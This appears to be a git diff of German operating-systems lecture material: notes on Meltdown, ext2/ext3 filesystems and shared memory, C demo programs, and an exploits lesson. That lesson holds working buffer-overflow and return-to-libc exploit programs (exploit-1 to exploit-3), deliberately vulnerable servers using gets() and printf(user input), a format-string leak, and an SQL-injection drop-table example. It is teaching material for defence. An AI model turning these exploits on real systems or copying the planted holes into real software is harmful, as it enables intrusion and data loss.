+  shl rax, 12                  ; Multipliziert den Inhalt des 64-bit Registers rax mit 4096,
+                               ; so dass es nun eine Seitenadresse enthält, die vom Inhalt der
+                               ; auszulesenden Speicherstelle abhängt.
+  jz retry                     ; Beginnt von vorn, wenn das Zero-Flag (und damit hier auch rax)
+                               ; gleich 0 ist (Auch bei [rcx]=0 keine Endlosschleife, da aufgrund
+                               ; der Ausnahmebehandlung die out-of-order Ausführung schließlich
+                               ; abgebrochen wird).
+  mov rbx, qword [rbx + rax]   ; Greift auf eine Speicherstelle auf der Seite zu, deren Index innerhalb
+                               ; des probe arrays rbx in rax steht. Dies lädt eine Seite in den Cache,
+                               ; deren Adresse vom Inhalt der auszulesenden Speicherstelle abhängt.
+
+  Quelle: https://de.wikipedia.org/w/index.php?title=Meltdown_(Sicherheitsl%C3%BCcke)&oldid=210862049
+  Autor: siehe https://de.wikipedia.org/w/index.php?title=Meltdown_(Sicherheitsl%C3%BCcke)&action=history
+  Lizenz: CC BY-SA 3.0 Unported
+
+Wir lesen eine nicht lesbare Speicherzelle und stürzen ab.
+In den danach stehenden Befehlen verwenden wir den (nicht)
+gelesenen Wert als Index für ein Array von Speicherseiten,
+d.h., 4096-Byte-Blöcken.
+Dadurch ordnet der Kernel dieser bislang rein virtuellen
+Speicherseite physikalischen Speicher zu.
+Wenn ich danach noch einmal auf dieselbe Speicherseite zugreife,
+geschieht dies schneller, als wenn sie nicht im Voraus geladen
+wäre. Ein zweiter Thread macht das und mißt die Zeit.
+
+Massenspeicherverwaltung, 04.06.2021, 14:59:19
+==============================================
+
+In speziellen Fällen können auch größere Blockgrößen sinnvoll sein:
+
+ - wenn das Dateisystem vorwiegend mit eher großen Dateien genutzt wird
+
+ - wenn der Datenträger physikalisch mit einer größeren Blockgröße arbeitet
+   --> Vermeidung mehrfachen Speicherns auf Flash-Speicher
+
+Das ext2-Dateisystem, 04.06.2021, 15:05:30
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Superblock: globale Informationen über das Dateisystem
+
+inode (Indexknoten): enthält alle Informationen über eine Datei
+  bis auf den Dateinamen und die eigentlichen Daten.
+  feste Größe
+
+15 Zeiger auf die Daten:
+ - 12 Zeiger direkt auf Datenblöcke
+ - 1 Zeiger auf einen Block mit 128 weiteren Zeigern
+ - 1 Zeiger auf einen Block mit 128 weiteren Zeigern auf jeweils 128 weitere Zeiger
+ - 1 Zeiger auf einen Block mit 128 weiteren Zeigern auf jeweils 128 weitere Zeiger auf jeweils 128 weitere Zeiger
+ - Bei sehr kleinen Dateien wird der Inhalt anstelle der Zeiger
+   direkt im inode gespeichert.
+
+Verzeichnis = spezielle Datei, repräsentiert durch einen inode
+  Einträge: Name --> inode
+  Hard Link = 2 Namen für denselben inode
diff --git a/20210604/shm-1a.c b/20210604/shm-1a.c
new file mode 100644
index 0000000000000000000000000000000000000000..c404db3bdb22a6b0a0a1e30b47b4b2de0a048f12
--- /dev/null
+++ b/20210604/shm-1a.c
@@ -0,0 +1,10 @@
+#include <sys/mman.h>
+#include <fcntl.h>
+#include <unistd.h>
+
+int main (void)
+{
+  int shm = shm_open ("test", O_RDWR, 0666);
+  write (shm, "Hello, world!", 13);
+  return 0;
+}
diff --git a/20210604/shm-1b.c b/20210604/shm-1b.c
new file mode 100644
index 0000000000000000000000000000000000000000..de7774f79a26406bf5032f8d9a4fa543e35963fe
--- /dev/null
+++ b/20210604/shm-1b.c
@@ -0,0 +1,13 @@
+#include <sys/mman.h>
+#include <fcntl.h>
+#include <unistd.h>
+#include <stdio.h>
+
+int main (void)
+{
+  char buffer[42];
+  int shm = shm_open ("test", O_RDONLY, 0444);
+  read (shm, buffer, 42);
+  printf ("%s\n", buffer);
+  return 0;
+}
diff --git a/20210604/shm-1c.c b/20210604/shm-1c.c
new file mode 100644
index 0000000000000000000000000000000000000000..ff6363eddfa2b6d26ae5c390f96306702afd60f8
--- /dev/null
+++ b/20210604/shm-1c.c
@@ -0,0 +1,14 @@
+#include <sys/mman.h>
+#include <fcntl.h>
+#include <unistd.h>
+#include <stdio.h>
+
+int main (void)
+{
+  char buffer[42];
+  int shm = shm_open ("test", O_RDONLY, 0444);
+  lseek (shm, 0, SEEK_SET);
+  read (shm, buffer, 42);
+  printf ("%s\n", buffer);
+  return 0;
+}
diff --git a/20210604/shm-2a.c b/20210604/shm-2a.c
new file mode 100644
index 0000000000000000000000000000000000000000..8853ecaed14074e136a764fbdb868d5fe7a4baf3
--- /dev/null
+++ b/20210604/shm-2a.c
@@ -0,0 +1,11 @@
+#include <sys/mman.h>
+#include <fcntl.h>
+#include <unistd.h>
+
+int main (void)
+{
+  int shm = shm_open ("test", O_CREAT | O_RDWR, 0666);
+  write (shm, "Hello, world!", 14);
+  close (shm);
+  return 0;
+}
diff --git a/20210604/shm-2b.c b/20210604/shm-2b.c
new file mode 100644
index 0000000000000000000000000000000000000000..92ef091a9f00a93ed834071bd425b5b60238c3ee
--- /dev/null
+++ b/20210604/shm-2b.c
@@ -0,0 +1,14 @@
+#include <sys/mman.h>
+#include <fcntl.h>
+#include <unistd.h>
+#include <stdio.h>
+
+int main (void)
+{
+  char buffer[42];
+  int shm = shm_open ("test", O_RDONLY, 0444);
+  read (shm, buffer, 42);
+  close (shm);
+  printf ("%s\n", buffer);
+  return 0;
+}
diff --git a/20210604/shm-3a.c b/20210604/shm-3a.c
new file mode 100644
index 0000000000000000000000000000000000000000..b5273ec483618b33585ff78f70f419bdff149950
--- /dev/null
+++ b/20210604/shm-3a.c
@@ -0,0 +1,14 @@
+#include <sys/mman.h>
+#include <fcntl.h>
+#include <unistd.h>
+#include <stdio.h>
+
+int main (void)
+{
+  int file = open ("test.txt", O_CREAT | O_RDWR, 0666);
+  printf ("file = %d\n", file);
+  lseek (file, 0, SEEK_SET);
+  write (file, "Hello, world!", 14);
+  close (file);
+  return 0;
+}
diff --git a/20210604/shm-3b.c b/20210604/shm-3b.c
new file mode 100644
index 0000000000000000000000000000000000000000..21f2d5d32d075a33bd94abeb9b69495d58b8c8a5
--- /dev/null
+++ b/20210604/shm-3b.c
@@ -0,0 +1,15 @@
+#include <sys/mman.h>
+#include <fcntl.h>
+#include <unistd.h>
+#include <stdio.h>
+
+int main (void)
+{
+  char buffer[42];
+  int file = open ("test.txt", O_RDONLY, 0444);
+  lseek (file, 0, SEEK_SET);
+  read (file, buffer, 42);
+  close (file);
+  printf ("%s\n", buffer);
+  return 0;
+}
diff --git a/20210604/shm-4a.c b/20210604/shm-4a.c
new file mode 100644
index 0000000000000000000000000000000000000000..00ddb6790a669f3040dd7439c98c30d01227662d
--- /dev/null
+++ b/20210604/shm-4a.c
@@ -0,0 +1,14 @@
+#include <sys/mman.h>
+#include <fcntl.h>
+#include <unistd.h>
+#include <string.h>
+
+int main (void)
+{
+  int shm = shm_open ("test", O_CREAT | O_RDWR, 0666);
+  char *buffer = mmap (NULL, 42, PROT_READ | PROT_WRITE, MAP_SHARED, shm, 0);
+  strcpy (buffer, "Hello, world!");
+  munmap (buffer, 42);
+  close (shm);
+  return 0;
+}
diff --git a/20210604/shm-4b.c b/20210604/shm-4b.c
new file mode 100644
index 0000000000000000000000000000000000000000..34c4b6ae3bebb451979307c61f3cfe66c5477f87
--- /dev/null
+++ b/20210604/shm-4b.c
@@ -0,0 +1,14 @@
+#include <sys/mman.h>
+#include <fcntl.h>
+#include <unistd.h>
+#include <stdio.h>
+
+int main (void)
+{
+  int shm = shm_open ("test", O_RDONLY, 0444);
+  char *buffer = mmap (NULL, 42, PROT_READ, MAP_SHARED, shm, 0);
+  printf ("%s\n", buffer);
+  munmap (buffer, 42);
+  close (shm);
+  return 0;
+}
diff --git a/20210604/shm-5a.c b/20210604/shm-5a.c
new file mode 100644
index 0000000000000000000000000000000000000000..8acc3dde82d8d7f7c4fd77714a3f5f65b7aa2b96
--- /dev/null
+++ b/20210604/shm-5a.c
@@ -0,0 +1,14 @@
+#include <sys/mman.h>
+#include <fcntl.h>
+#include <unistd.h>
+#include <string.h>
+
+int main (void)
+{
+  int file = open ("test.txt", O_CREAT | O_RDWR, 0666);
+  char *buffer = mmap (NULL, 42, PROT_READ | PROT_WRITE, MAP_SHARED, file, 0);
+  strcpy (buffer, "Hello, world!");
+  munmap (buffer, 42);
+  close (file);
+  return 0;
+}
diff --git a/20210604/shm-5b.c b/20210604/shm-5b.c
new file mode 100644
index 0000000000000000000000000000000000000000..c31ba9b27a39f587474632b0442cbc33d20206eb
--- /dev/null
+++ b/20210604/shm-5b.c
@@ -0,0 +1,14 @@
+#include <sys/mman.h>
+#include <fcntl.h>
+#include <unistd.h>
+#include <stdio.h>
+
+int main (void)
+{
+  int file = open ("test.txt", O_RDONLY, 0444);
+  char *buffer = mmap (NULL, 42, PROT_READ, MAP_SHARED, file, 0);
+  printf ("%s\n", buffer);
+  munmap (buffer, 42);
+  close (file);
+  return 0;
+}
diff --git a/20210604/shm-6.txt b/20210604/shm-6.txt
new file mode 100644
index 0000000000000000000000000000000000000000..6a7d035151eb23eeee6ddba83232afe8e9485293
--- /dev/null
+++ b/20210604/shm-6.txt
@@ -0,0 +1,35 @@
+cassini/home/peter/bo/2021ss/bs/20210604> cat shm-6a.c
+#include <stdio.h>
+#include <sys/mman.h>
+#include <fcntl.h>
+#include <unistd.h>
+#include <string.h>
+
+int main (void)
+{
+  int file = open ("test.txt", O_CREAT | O_RDWR, 0666);
+  fprintf (stderr, "0\n");
+  char *buffer = mmap (NULL, 42, PROT_READ | PROT_WRITE, MAP_SHARED, file, 0);
+  fprintf (stderr, "1\n");
+  strcpy (buffer, "Hello, world!");
+  fprintf (stderr, "2\n");
+  munmap (buffer, 42);
+  fprintf (stderr, "3\n");
+  close (file);
+  return 0;
+}
+cassini/home/peter/bo/2021ss/bs/20210604> ./shm-6a
+0
+1
+Bus-Zugriffsfehler
+cassini/home/peter/bo/2021ss/bs/20210604> ls -l test.txt
+-rw-r--r-- 1 peter peter 0 Jun  4 12:20 test.txt
+cassini/home/peter/bo/2021ss/bs/20210604> echo "Dies ist ein Test." > test.txt
+cassini/home/peter/bo/2021ss/bs/20210604> ./shm-6a
+0
+1
+2
+3
+cassini/home/peter/bo/2021ss/bs/20210604> cat test.txt
+Hello, world!est.
+cassini/home/peter/bo/2021ss/bs/20210604>
diff --git a/20210604/shm-6a.c b/20210604/shm-6a.c
new file mode 100644
index 0000000000000000000000000000000000000000..45e883c1f746de42bf8b2cfc0bcebb61e9c862e2
--- /dev/null
+++ b/20210604/shm-6a.c
@@ -0,0 +1,19 @@
+#include <stdio.h>
+#include <sys/mman.h>
+#include <fcntl.h>
+#include <unistd.h>
+#include <string.h>
+
+int main (void)
+{
+  int file = open ("test.txt", O_CREAT | O_RDWR, 0666);
+  fprintf (stderr, "0\n");
+  char *buffer = mmap (NULL, 42, PROT_READ | PROT_WRITE, MAP_SHARED, file, 0);
+  fprintf (stderr, "1\n");
+  strcpy (buffer, "Hello, world!");
+  fprintf (stderr, "2\n");
+  munmap (buffer, 42);
+  fprintf (stderr, "3\n");
+  close (file);
+  return 0;
+}
diff --git a/20210604/shm-6c.c b/20210604/shm-6c.c
new file mode 100644
index 0000000000000000000000000000000000000000..c4c537612a4d24d1b7bf20bb8c3f53a30c0a3322
--- /dev/null
+++ b/20210604/shm-6c.c
@@ -0,0 +1,19 @@
+#include <stdio.h>
+#include <sys/mman.h>
+#include <fcntl.h>
+#include <unistd.h>
+#include <string.h>
+
+int main (void)
+{
+  int file = open ("test.txt", O_CREAT | O_RDWR, 0666);
+  fprintf (stderr, "0\n");
+  char *buffer = mmap (NULL, 42, PROT_READ | PROT_WRITE, MAP_SHARED, file, 0);
+  fprintf (stderr, "1\n");
+  strcpy (buffer, "Dies ist ein weiterer Test.");
+  fprintf (stderr, "2\n");
+  munmap (buffer, 42);
+  fprintf (stderr, "3\n");
+  close (file);
+  return 0;
+}
diff --git a/20210604/shm-6c.txt b/20210604/shm-6c.txt
new file mode 100644
index 0000000000000000000000000000000000000000..ec7436ced4f38d6a9673af3df5382e64b119ca46
--- /dev/null
+++ b/20210604/shm-6c.txt
@@ -0,0 +1,36 @@
+#include <stdio.h>
+#include <sys/mman.h>
+#include <fcntl.h>
+#include <unistd.h>
+#include <string.h>
+
+int main (void)
+{
+  int file = open ("test.txt", O_CREAT | O_RDWR, 0666);
+  fprintf (stderr, "0\n");
+  char *buffer = mmap (NULL, 42, PROT_READ | PROT_WRITE, MAP_SHARED, file, 0);
+  fprintf (stderr, "1\n");
+  strcpy (buffer, "Dies ist ein weiterer Test.");
+  fprintf (stderr, "2\n");
+  munmap (buffer, 42);
+  fprintf (stderr, "3\n");
+  close (file);
+  return 0;
+}
+cassini/home/peter/bo/2021ss/bs/20210604> gcc -Wall -O shm-6c.c -o shm-6c -lrt
+cassini/home/peter/bo/2021ss/bs/20210604> ls -l test.txt
+-rw-r--r-- 1 peter peter 19 Jun  4 12:21 test.txt
+cassini/home/peter/bo/2021ss/bs/20210604> ./shm-6c
+bs-20210604.txt  shm-2a           shm-3b           shm-5a           shm-6c
+shm-1a           shm-2a.c         shm-3b.c         shm-5a.c         shm-6c.c
+shm-1a.c         shm-2b           shm-4a           shm-5b           shm-6.txt
+shm-1b           shm-2b.c         shm-4a.c         shm-5b.c         test.txt
+shm-1b.c         shm-3a           shm-4b           shm-6a
+shm-1c.c         shm-3a.c         shm-4b.c         shm-6a.c
+cassini/home/peter/bo/2021ss/bs/20210604> ./shm-6c
+0
+1
+2
+3
+cassini/home/peter/bo/2021ss/bs/20210604> cat test.txt
+Dies ist ein weitercassini/home/peter/bo/2021ss/bs/20210604>
diff --git a/20210604/shm-6d.txt b/20210604/shm-6d.txt
new file mode 100644
index 0000000000000000000000000000000000000000..88b33b2192d4d917dd30c340c55cbc527164099c
--- /dev/null
+++ b/20210604/shm-6d.txt
@@ -0,0 +1,40 @@
+cassini/home/peter/bo/2021ss/bs/20210604> echo -e "x" > test.txt
+cassini/home/peter/bo/2021ss/bs/20210604> ls -l test.txt
+-rw-r--r-- 1 peter peter 2 Jun  4 12:31 test.txt
+cassini/home/peter/bo/2021ss/bs/20210604> cat shm-6c.c
+#include <stdio.h>
+#include <sys/mman.h>
+#include <fcntl.h>
+#include <unistd.h>
+#include <string.h>
+
+int main (void)
+{
+  int file = open ("test.txt", O_CREAT | O_RDWR, 0666);
+  fprintf (stderr, "0\n");
+  char *buffer = mmap (NULL, 42, PROT_READ | PROT_WRITE, MAP_SHARED, file, 0);
+  fprintf (stderr, "1\n");
+  strcpy (buffer, "Dies ist ein weiterer Test.");
+  fprintf (stderr, "2\n");
+  munmap (buffer, 42);
+  fprintf (stderr, "3\n");
+  close (file);
+  return 0;
+}
+cassini/home/peter/bo/2021ss/bs/20210604> ./shm-6c
+0
+1
+2
+3
+cassini/home/peter/bo/2021ss/bs/20210604> cat test.txt
+Dicassini/home/peter/bo/2021ss/bs/20210604> ls -l test.txt
+-rw-r--r-- 1 peter peter 2 Jun  4 12:31 test.txt
+cassini/home/peter/bo/2021ss/bs/20210604> rm test.txt
+cassini/home/peter/bo/2021ss/bs/20210604> touch test.txt
+cassini/home/peter/bo/2021ss/bs/20210604> ls -l test.txt
+-rw-r--r-- 1 peter peter 0 Jun  4 12:31 test.txt
+cassini/home/peter/bo/2021ss/bs/20210604> ./shm-6c
+0
+1
+Bus-Zugriffsfehler
+cassini/home/peter/bo/2021ss/bs/20210604>
diff --git a/20210604/test-hardlink.txt b/20210604/test-hardlink.txt
new file mode 100644
index 0000000000000000000000000000000000000000..e69de29bb2d1d6434b8b29ae775ad8c2e48c5391
diff --git a/20210604/test.txt b/20210604/test.txt
new file mode 100644
index 0000000000000000000000000000000000000000..e69de29bb2d1d6434b8b29ae775ad8c2e48c5391
diff --git a/20210611/bs-20210611.txt b/20210611/bs-20210611.txt
new file mode 100644
index 0000000000000000000000000000000000000000..52c65a9fdceb833f3e506e27df90c866e01cbe04
--- /dev/null
+++ b/20210611/bs-20210611.txt
@@ -0,0 +1,91 @@
+ext3-Dateisystem, 11.06.2021, 11:49:19
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Journalling File System: merkt sich, welche Schreiboperationen bereits
+abgeschlossen wurden und welche nicht
+--> Das Dateisystem ist immer in einem konsistenten Zustand und kann
+    z.B. bei Stromausfall sofort wiederhergestellt werden.
+
+Weitere Dateisysteme, 11.06.2021, 11:52:19
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ - ext4: effizienter im Umgang mit Flash-Speicher
+   konkret: möglichst selten physikalisch schreiben
+ - einander überlagernde Dateisysteme,
+   z.B. nicht-schreibbaren und schreibbaren Datenträger zusammenschalten,
+   z.B. Docker-Container
+
+Exploits, 10.05.2019
+~~~~~~~~~~~~~~~~~~~~
+Vorab:
+
+  Dies ist keine Einladung, anderer Leute Systeme anzugreifen.
+  Derartige Handlungen sind Straftaten.
+
+  Ich erzähle Ihnen dies, damit Sie wissen,
+  wie Sie sich gegen derartige Angriffe verteidigen können.
+
+  Um es gleich vorwegzunehmen:
+  Gewöhnen Sie sich von vorneherein an,
+  sauber und ordentlich zu programmieren.
+
+Anleitungen für Exploits:
+http://www.computersecuritystudent.com/SECURITY_TOOLS/BUFFER_OVERFLOW/WINDOWS_APPS/lesson1/index.html
+http://www.thesprawl.org/research/exploit-exercises-protostar-stack/
+
+Literatur:
+Jon Erickson: Hacking: The Art of Exploitation.
+No Starch Press, 2003. ISBN: 1-59327-007-0
+
+Anleitung für den GNU-Debugger (gdb):
+http://beej.us/guide/bggdb/
+
+Formatstring-Angriff:
+
+  printf (user_string) für Exploit nutzen: %016llx
+  Server, der Passwort auf dem Stack speichert --> server-0.c
+
+  $ ./server-0
+  Your name, please: %016llx %016llx %016llx %016llx %016llx %016llx %016llx %016llx
+  Hello, 00000000004007c7 00007fdb2ced2df0 00000000004007c7 00007fdb2d0f3007
+         20786c6c36313025 6373316870216948 00007fdb2cbd0068 0000007265746570!
+                          ~~~~~~~~~~~~~~~~             ~~~~
+  Your password, please:
+
+SQL Injection: http://xkcd.com/327/
+
+  insert into students values ('Robert', 'Lenhard', '3b');
+
+  insert into students values ('Robert'); drop table students; --', 'Lenhard', '3b');
+
+Lösung des Problems: Escape-Sequenzen.
+Damit ist es möglich, auch ungewöhnliche Zeichen in Strings aufzunehmen.
+
+Vortrag zum Thema Namensvalidierung: https://media.ccc.de/v/rc3-channels-2020-77-your-name-is-invalid-
+
+Noch blöder: Java-Browser-Applet enthält Passwörter im Klartext:
+http://heise.de/-2812713
+
+Buffer Overflow für Exploit nutzen: server-[123].c, exploit-*
+
+Warum Absturz? Rücksprungadresse wird überschrieben. Blick auf den Stack.
+Funktionsaufruf: Register setzen, Funktion anspringen.
+Exploit: Rücksprungadresse gezielt überschreiben.
+Früher möglich: Programm in den Stack schreiben, dorthin springen.
+Heute: Nicht-ausführbarer Stack, Address Space Layout Randomization (ASLR)
+Return Oriented Programming erforderlich
+genauer: return-to-libc; noch genauer: return-to-plt
+Gezielt Winz-Funktionen anspringen, um Register zu setzen,
+danach Programm- und Bibliotheksfunktionen anspringen.
+
+Exploits: aktuelle Sicherheitslücke, 28.12.2016, 13:46:05
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Lücke in PHPMailer erlaubt die Ausführung fremden Codes
+https://heise.de/-3582072
+
+Exploits, 29.06.2020, 15:38:10
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Früher möglich: Programm in den Stack schreiben, dorthin springen.
+Heute: Nicht-ausführbarer Stack, Address Space Layout Randomization (ASLR)
+Return Oriented Programming erforderlich
+genauer: return-to-libc; noch genauer: return-to-plt
+Gezielt Winz-Funktionen anspringen, um Register zu setzen,
+danach Programm- und Bibliotheksfunktionen anspringen.
diff --git a/20210611/exploit-1.c b/20210611/exploit-1.c
new file mode 100644
index 0000000000000000000000000000000000000000..f967dc10d848a9bcce65a0a23af4642a7ef6ae0f
--- /dev/null
+++ b/20210611/exploit-1.c
@@ -0,0 +1,19 @@
+#include <unistd.h>
+#include <stdint.h>
+
+int main (int argc, char **argv)
+{
+  uint64_t my_program_address = 0x7fffffffdfa0;
+  for (int i = 0; i < 0x28; i++)
+    write (1, "a", 1);                   // zum Auffüllen, um die Rücksprung-Adresse
+  write (1, &my_program_address, 8);     // überschreiben zu können
+  write (1, "I 0WN U!", 8);
+  for (int i = 0; i < 24; i++)
+    write (1, " ", 1);
+  write (1, "\x48\x89\xe7", 3);          // mov    %rsp,%rdi      hierhin erfolgt der
+  write (1, "\xb8\x00\x00\x00\x00", 5);  // mov    $0x0,%eax      "Rück-"Sprung
+  write (1, "\xe8\x26\xfe\xff\xff", 5);  // callq  0x4003e0 <printf@plt>
+  write (1, "\xeb\xfe", 2);              // while (1);
+  write (1, "\n", 1);
+  return 0;
+}
diff --git a/20210611/exploit-1.txt b/20210611/exploit-1.txt
new file mode 100644
index 0000000000000000000000000000000000000000..44707bfa2ee99ddd58e1c8ee67c8667225f25323
Binary files /dev/null and b/20210611/exploit-1.txt differ
diff --git a/20210611/exploit-2.c b/20210611/exploit-2.c
new file mode 100644
index 0000000000000000000000000000000000000000..cceab7204a351eba815603c4c78890303acc7e17
--- /dev/null
+++ b/20210611/exploit-2.c
@@ -0,0 +1,26 @@
+#include <stdlib.h>
+#include <stdint.h>
+#include <unistd.h>
+
+#define OVERFLOW 40
+
+int main (int argc, char **argv)
+{
+  uint64_t mov_rsp_rdi = 0x555555555176;
+  uint64_t add_offset_to_rdi = 0x55555555517d;
+  uint64_t dummy = 0;
+  uint64_t printf_address = 0x555555555040;
+  uint64_t exit_address = 0x7ffff7e04ea0;
+  uint8_t overflow[OVERFLOW] = "loser";
+  uint8_t payload[] = "I 0WN U!!1!                             "
+                      "                                             ";
+  write (1, overflow, sizeof (overflow));
+  write (1, &mov_rsp_rdi, 8);
+  write (1, &add_offset_to_rdi, 8);
+  write (1, &printf_address, 8);
+  write (1, &exit_address, 8);
+  write (1, &dummy, 8);
+  write (1, payload, sizeof (payload));
+  write (1, "\n", 1);
+  return 0;
+}
diff --git a/20210611/exploit-2.txt b/20210611/exploit-2.txt
new file mode 100644
index 0000000000000000000000000000000000000000..106a0677b3cc805cb61d8f1ae25ed79f4da31d10
Binary files /dev/null and b/20210611/exploit-2.txt differ
diff --git a/20210611/exploit-3.c b/20210611/exploit-3.c
new file mode 100644
index 0000000000000000000000000000000000000000..ae1903af3ddf12c812a784223c700d22904600c1
--- /dev/null
+++ b/20210611/exploit-3.c
@@ -0,0 +1,25 @@
+#include <stdlib.h>
+#include <stdint.h>
+#include <unistd.h>
+
+#define OVERFLOW 40
+
+int main (int argc, char **argv)
+{
+  uint64_t mov_rsp_rdi = 0x555555555176;
+  uint64_t add_offset_to_rdi = 0x55555555517d;
+  uint64_t dummy = 0;
+  uint64_t system_address = 0x555555555030;  // 0x7ffff7e109c0;
+  uint64_t exit_address = 0x555555555060;  // 0x7ffff7e04ea0;
+  uint8_t overflow[OVERFLOW] = "loser";
+  uint8_t payload[] = "gimp ../common/os-layers.xcf.gz";
+  write (1, overflow, sizeof (overflow));
+  write (1, &mov_rsp_rdi, 8);
+  write (1, &add_offset_to_rdi, 8);
+  write (1, &system_address, 8);
+  write (1, &exit_address, 8);
+  write (1, &dummy, 8);
+  write (1, payload, sizeof (payload));
+  write (1, "\n", 1);
+  return 0;
+}
diff --git a/20210611/exploit-3.txt b/20210611/exploit-3.txt
new file mode 100644
index 0000000000000000000000000000000000000000..93827d33fe1916d2e75430c55108af67c634aecb
Binary files /dev/null and b/20210611/exploit-3.txt differ
diff --git a/20210611/server-0.c b/20210611/server-0.c
new file mode 100644
index 0000000000000000000000000000000000000000..96f8b4df4c5a467aa5d2ec424434a6a33a6f6127
--- /dev/null
+++ b/20210611/server-0.c
@@ -0,0 +1,24 @@
+#include <stdio.h>
+#include <string.h>
+#include <unistd.h>
+
+int main (void)
+{
+  char name_buffer[100];
+  char *pass_buffer;
+  char username[] = "peter";
+  char password[] = "Hi!ph1sch";
+
+  printf ("Your name, please: ");
+  gets (name_buffer);
+  printf ("Hello, ");
+  printf (name_buffer);
+  printf ("!\n");
+
+  pass_buffer = getpass ("Your password, please: ");
+  if (strcmp (name_buffer, username) == 0 && strcmp (pass_buffer, password) == 0)
+    printf ("You have access.\n");
+  else
+    printf ("Login incorrect.\n");
+  return 0;
+}
diff --git a/20210611/server-1.c b/20210611/server-1.c
new file mode 100644
index 0000000000000000000000000000000000000000..68f9eb57f5e277413a0206ed9af175033e9cda9d
--- /dev/null
+++ b/20210611/server-1.c
@@ -0,0 +1,10 @@
+#include <stdio.h>
+
+int main (void)
+{
+  char buffer[20];
+  printf ("Your name, please: ");
+  gets (buffer);
+  printf ("Hello, %s!\n", buffer);
+  return 0;
+}
diff --git a/20210611/server-2.c b/20210611/server-2.c
new file mode 100644
index 0000000000000000000000000000000000000000..4aac725ae5c30412f0952a770d1c9d9f6c1f6895
--- /dev/null
+++ b/20210611/server-2.c
@@ -0,0 +1,33 @@
+#include <stdio.h>
+#include <stdlib.h>
+
+void stuff (void)
+{
+  asm ("mov $0, %eax");
+  asm ("add $0x28, %rsp");
+  asm ("ret");
+  asm ("nop");
+  asm ("nop");
+  asm ("nop");
+  asm ("mov %rsp, %rdi");
+  asm ("ret");
+  asm ("nop");
+  asm ("nop");
+  asm ("nop");
+  asm ("add $0x20, %rdi");
+  asm ("ret");
+  asm ("nop");
+  asm ("nop");
+  asm ("nop");
+  system ("clear");
+  exit (0);
+}
+
+int main (void)
+{
+  char buffer[20];
+  printf ("Your name, please: ");
+  gets (buffer);
+  printf ("Hello, %s!\n", buffer);
+  return 0;
+}
diff --git a/20210611/server-3.c b/20210611/server-3.c
new file mode 100644
index 0000000000000000000000000000000000000000..11c3a7ff2bf4e1f27accebd7d9caddf6d90dfb66
--- /dev/null
+++ b/20210611/server-3.c
@@ -0,0 +1,33 @@
+#include <stdio.h>
+#include <stdlib.h>
+
+void stuff (void)
+{
+  asm ("mov $0, %eax");
+  asm ("add $0x28, %rsp");
+  asm ("ret");
+  asm ("nop");
+  asm ("nop");
+  asm ("nop");
+  asm ("mov %rsp, %rdi");
+  asm ("ret");
+  asm ("nop");
+  asm ("nop");
+  asm ("nop");
+  asm ("add $0x20, %rdi");
+  asm ("ret");
+  asm ("nop");
+  asm ("nop");
+  asm ("nop");
+  system ("clear");
+  exit (0);
+}
+
+int main (void)
+{
+  char buffer[20];
+  printf ("Your name, please: ");
+  fgets (buffer, 20, stdin);
+  printf ("Hello, %s!\n", buffer);
+  return 0;
+}
diff --git a/20210618/bs-20210618.txt b/20210618/bs-20210618.txt
new file mode 100644
index 0000000000000000000000000000000000000000..c0a3414d7afc09670635d02e950f929b07d2c71c
--- /dev/null
+++ b/20210618/bs-20210618.txt
@@ -0,0 +1,56 @@
+Bildverarbeitung und Objekterkennung, 18.06.2021, 11:37:19
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Aus WebCam-Bild mit verschiedenen Fokusstufen
+ein 3d-Diagramm von Objekten erzeugen
+
+Einstieg: Kamera-Konfigurator zum Einstellen der WebCam
+
+Idee: Server-Client-Anwendung mit Web-Oberfläche
+
+Problem: Kamerabild, das als unkomprimierte Bilddaten
+über einen WebSocket ankommt, anzeigen
+
+Lösungsansatz: In JavaScript auf Canvas zeichnen
+--> nicht schnell genug (10 fps,
+    Änderungen von z.B. der Helligkeit noch langsamer)
+
+Ein Python-Server speist das Bild als NumPy-Array in den Websocket ein.
+JSON-Objekt: Vorspann + Daten als String
+
+Hardwarenahe JavaScript-Programmierung:
+https://nodejs.org/dist/latest-v16.x/docs/api/buffer.html#buffer_buffers_and_character_encodings
+
+Übertragung von Kamerabildern mittels WebRTC, 18.06.2021, 11:32:16
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+WebRTC = Web Real Time Communication
+Übertragung von Bild und Ton in Echtzeit zwischen Web-Browsern
+
+JavaScript beim Sender und Empfänger
+dazwischen: WebRTC-Gateway
+ - Janus (CVH Camera)
+ - Kurento (BigBlueButton, OpenMeetings)
+ - Jitsi VideoBridge
+
+Alternativen zu WebRTC:
+ - für Tonübertragung: Mumble
+ - für Übertragung von Bildschirminhalten: VNC
+
+Vergleich WebRTC / VNC:
+
+ * Web Real Time Communication (WebRTC)
+    - Ziel: Übertragung von "Filmen"
+    - hohe Frame-Raten
+    - gelegentliche Unschärfen nimmt man in Kauf
+    - höhere Anforderungen an Rechenleistung und Netzwerkbandbreite
+    - bei Übertragung von Bildschirminhalten:
+      sehr hohe Anforderungen an Speicherplatz (RAM)
+    - Browser-basiert
+
+ * Virtual Network Computing (VNC) / Remote Desktop Protocol (RDP)
+    - Ziel: Pixelgenaue Übertragung von Bildschirminhalten
+    - gelegentliche niedrigere Frame-Raten nimmt man in Kauf
+    - bei Übertragung von Bildschirminhalten:
+      niedrige Anforderungen an Rechenleistung und Netzwerkbandbreite
+    - bei Übertragung von "Filmen": 
+      hohe Anforderungen an Rechenleistung und Netzwerkbandbreite
+    - dedizierte Software; es gibt auch Browser-Lösungen
diff --git a/20210618/yesvnc-wc-6.html b/20210618/yesvnc-wc-6.html
new file mode 100644
index 0000000000000000000000000000000000000000..e039f5ca712a2ae9526ec112428ef7b8ea74a997
--- /dev/null
+++ b/20210618/yesvnc-wc-6.html
@@ -0,0 +1,1282 @@
+<!doctype html public "-//W3C//DTD HTML 4.0 Strict//EN">
+<html>
+  <head>
